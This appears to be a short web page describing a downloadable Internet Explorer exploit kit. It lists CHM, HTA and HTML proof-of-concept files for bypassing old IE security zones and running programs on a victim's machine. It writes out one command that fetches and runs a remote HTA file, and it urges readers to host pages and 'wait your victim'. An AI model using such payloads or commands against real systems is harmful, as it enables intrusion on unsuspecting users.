Internet Explorer Hacking Kit
Internet Explorer Hacking Kit is a tool box with
different tools and samples for playing with IE vulnerabilities.
In this kit you can find some examples and tools
for playing with Internet Explorer vulnerabilities.
This Tools was written by Valgasu.
Download Zip Source.
I Just add some notes , & Demos.
Description of files and directories content :
Demos to show concepts like HTML Application (HTA) and HTML Help (CHM).
- evilfile.chm
, This CHM file shows how to launch 'command.com' with
ActiveX HHCtrl.ocx and its Shortcut component.
- veryevilfile.chmThis CHM file shows how to get and launch a HTA file with 'mshta.exe http://valgasu.rstack.org/evilfile.hta'
- evilfile.hta
This HTA file makes and launches an armless application to show the threat of HTA file.
- showhelp.htmlThis HTML page launches veryevilfile.chm with the method 'showHelp' .[ works only in My Computer zone]
Proofs of concept of several IE main vulnerabilities
Different files to illustrate the circumventing of Internet Explorer security zones.
- Introduction:codebase.htmlCODEBASE vulnerability. This page launches notepad.exe on a Win9x system. [works only in My Computer zone]
- Circumventing:external.html HTML page exploiting the external object caching vulnerability.
Put this on a web server and wait your victim.
- Circumventing:object.html exploitation of object zone redirection vulnerability
- Circumventing: redirect.asp A simple ASP page redirects on a local file (res://shdoclc.dll/about.dlg) Use with object.html.
- Execution:assign.html : An HTML page exploiting the external assign method caching vulnerability. Put this on a web server and wait your victim.
- Execution: sandblad.html : An HTML page exploiting the Sandblad advisory #10
All of this is inspired by all the work of several people
like Malware, Sandblad, Jelmer, Thor Larholm, GreyMagic Security
Team, Georgi Guninski, Liu Die Yu, Elia Florio... and all others
BRAVO !!! --= Valgasu =--
- by Valgasu
- valgasu@rstack.org ,fr
-
Liu Die Yu- Super 17 years old ,China
-
GreyMagic , Master , IL
-
Guninski , #1 Path Finder , Bu
-
malware- http-equiv@malware.com
-
sandblad- Andres sandblad , se
-
Thor Larholm- Pivx
-
security focus- Bugtraq